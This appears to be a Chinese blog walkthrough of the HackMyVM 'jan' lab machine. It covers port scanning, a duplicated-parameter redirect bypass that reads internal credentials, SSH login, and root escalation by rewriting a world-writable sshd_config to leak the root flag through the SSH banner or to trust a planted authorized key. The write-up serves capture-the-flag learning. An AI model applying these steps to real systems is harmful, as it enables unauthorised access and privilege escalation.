Pepster'Blog
HackMyVM-jan-Walkthrough
城南花已开 Lv6
  2025-01-30 15:58:36   2025-04-18 23:34:08    1.9k 字  10 分钟  

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
❯ sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1    00:50:56:c0:00:08       (Unknown)
192.168.60.2    00:50:56:e3:f6:57       (Unknown)
192.168.60.166  08:00:27:92:7b:9c       (Unknown)
192.168.60.254  00:50:56:e0:65:b2       (Unknown)

6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.975 seconds (129.62 hosts/sec). 4 responded
❯ export ip=192.168.60.166
❯ rustscan -a $ip
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.166:22
Open 192.168.60.166:8080
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 15:59 CST
Initiating ARP Ping Scan at 15:59
Scanning 192.168.60.166 [1 port]
Completed ARP Ping Scan at 15:59, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:59
Completed Parallel DNS resolution of 1 host. at 15:59, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 15:59
Scanning 192.168.60.166 [2 ports]
Discovered open port 8080/tcp on 192.168.60.166
Discovered open port 22/tcp on 192.168.60.166
Completed SYN Stealth Scan at 15:59, 0.04s elapsed (2 total ports)
Nmap scan report for 192.168.60.166
Host is up, received arp-response (0.00038s latency).
Scanned at 2025-01-30 15:59:07 CST for 0s

PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 64
8080/tcp open  http-proxy syn-ack ttl 64
MAC Address: 08:00:27:92:7B:9C (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

开放了一个8080端口

入口

给了个提示

1
2
3
❯ curl http://$ip:8080
Welcome to our Public Server. Maybe Internal.%
欢迎来到我们的公共服务器。也许是内部的。

发现访问robots.txt

会给了两个目录

1
2
3
❯ curl http://$ip:8080/robots.txt
/redirect
/credz%

发现只能内部访问，当你访问/redirect会让你添加url参数

我可以猜到大概是要枚举目录吧

image

重定向

在这卡住了，枚举多次得知

当你使用and符号&的时候会发现返回为0，而不是上面的仅内部可访问

所以后面紧接url的地址即可访问/credz获取凭证

1
2
❯ curl "http://192.168.60.166:8080/redirect?url=127.0.0.1:8080&url=/credz"
ssh/EazyLOL%

我当初以为给了个用户名EazyLOL，让我们使用ssh登入

我爆了一会就ssh断开连接，不给爆

结果这个ssh就是用户名，后面的才是密码

用户提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ ssh ssh@$ip
[email protected]'s password:
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

jan:~$ cat user.txt
HMVSSWYMCNFIBDAFMTHFK

Root提权

我们可以发现sudo有权限执行sshd重启服务

1
2
3
4
5
6
7
8
9
10
jan:~$ sudo -l
Matching Defaults entries for ssh on jan:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for ssh:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User ssh may run the following commands on jan:
    (root) NOPASSWD: /sbin/service sshd restart

不过这并不能提权

但是可以发现ssh的配置文件是所有用户都可以写的

1
2
jan:/tmp$ ls -al /etc/ssh/sshd_config
-rw-rw-rw-    1 root     root          3355 Jan 28 09:01 /etc/ssh/sshd_config

读一下配置文件

可以发现配置了root允许通过公钥登入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
jan:/tmp$ cat /etc/ssh/sshd_config
#       $OpenBSD: sshd_config,v 1.104 2021/07/02 05:11:21 dtucker Exp $

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

# Include configuration snippets before processing this file to allow the
# snippets to override directives set in this file.
Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# The default is to check both .ssh/authorized_keys and .ssh/authorized_keys2
# but this is overridden so installations will only check .ssh/authorized_keys
AuthorizedKeysFile      .ssh/authorized_keys

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to no to disable s/key passwords
#KbdInteractiveAuthentication yes

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the KbdInteractiveAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via KbdInteractiveAuthentication may bypass
# the setting of "PermitRootLogin prohibit-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and KbdInteractiveAuthentication to 'no'.
#UsePAM no

#AllowAgentForwarding yes
# Feel free to re-enable these if your use case requires them.
AllowTcpForwarding no
GatewayPorts no
X11Forwarding no
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
#PrintMotd yes
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

# no default banner path
#Banner none

# override default of no subsystems
Subsystem       sftp    internal-sftp

# Example of overriding settings on a per-user basis
#Match User anoncvs
#       X11Forwarding no
#       AllowTcpForwarding no
#       PermitTTY no
#       ForceCommand cvs server

其实最简单是通过Banner将flag带出来

在 SSH 服务中，Banner 是一个用于在用户成功建立 SSH 连接但尚未登录系统时显示的提示信息（如法律声明、欢迎信息或安全警告）。它通常用于向用户传达合规要求或安全策略。

修改一下banner的文件路径为root.txt

1
2
# no default banner path
Banner /root/root.txt

尝试重新连接一下ssh用户

1
2
3
4
❯ ssh ssh@$ip
HMV2PRMTERWTFUDNGMBG
[email protected]'s password:

即可拿到flag

不过这其实不算提权到root了，都没拿到root shell，算个投机的办法

正常思路是修改sshd_config，将公钥文件地址修改为ssh用户家目录的ssh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
jan:/tmp$ cd ~
jan:~$ pwd
/home/ssh
jan:~$ mkdir .ssh
jan:~$ cd .ssh/
jan:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmhumzHA2kpAF9W/XS9
FK1CjvRlb1iP5kC8RhE/oyVaePE+eZudjlyvGyuJb1GDTad9Zi0hIW14bqdvfgU7HIYJKV1Y/go
qs6BddT7KkYEs5643MxxErViGZP52hF3zggAi7Ho/BlnjRMPev1c1ZGzPbR+dpxd3mB6LUkiSEG
wbXNOdmmleqmcZAkVEh7vi90/m1S9btqQpbbVRICGBQY6IHyl/PY6jX/W/38u/hhzj0u4poqqub
OIWF2RA231osvqrG151Yeg3RYMJW89pK8D6f+Ma1h7sLE3VLlYe5kA2O0aKz0dgLK5KOshI08Xh
zpwBLKkpYlMRJ4U0KqJ04jhaF1P7o4Wa+hViAdKxOTBL5Y8RoFEGKVmhT9/pAel7BAmuBU0keGS
3JaA5OltDBfbSHPPskdrUg/gWhbsjtt7Z+tTzTOSgl1gpQzHnTnfaMosF3WkwQrYq2sjcNEEmtR
CF4Gyn92vD1MWfhepC0lGW3Z3o7AGt38ZuiH6/cR9LsjjIDqG90C2yxH4yNEbgW9/0qf6iD+ghD
z9mBtzk0dJHMU6/GoxXTY1e+/bAlqDCF2NR+fogTm7DeGNJ9CuaxXF+laYa1wSeIKdMbdi+fmfw
qVbiDxxmqbtqJVGmsbmoB1UYP+XZ74LcOPbsPoNzWo53P87a3U2620bIQx32yFPXw== Pepster
@primary">authorized_keys
jan:~/.ssh$ chmod 600 authorized_keys

然后编辑一下sshd的配置文件

修改以下配置，允许root登入或者不修改保持prohibit-password允许公钥登录也可以

1
2
3
PermitRootLogin yes | prohibit-password #二选一
StrictModes no
AuthorizedKeysFile      /home/ssh/.ssh/authorized_keys

StrictModes yes 是一个配置项，用于指定在sshd启动过程中是否验证home目录和.ssh目录的权限。当StrictModes设置为yes时，sshd会要求家目录和.ssh目录的权限设置非常严格，必须是特定的权限设置才能通过验证

kali通过私钥ssh连接即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ ssh root@$ip -i .ssh/id_rsa
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

jan:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
jan:~# cat root.txt
HMV2PRMTERWTFUDNGMBG

至于开头的重定向绕过是什么逻辑，靶机作者修改了httpd的可执行文件，需要反编译才能看到，我不会遂放弃

  1. 信息收集
    1. 服务探测
    2. 入口
    3. 重定向
  2. 用户提权
  3. Root提权
© 2024 - 2025    城南花已开
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 502.5k
  1. 信息收集
    1. 服务探测
    2. 入口
    3. 重定向
  2. 用户提权
  3. Root提权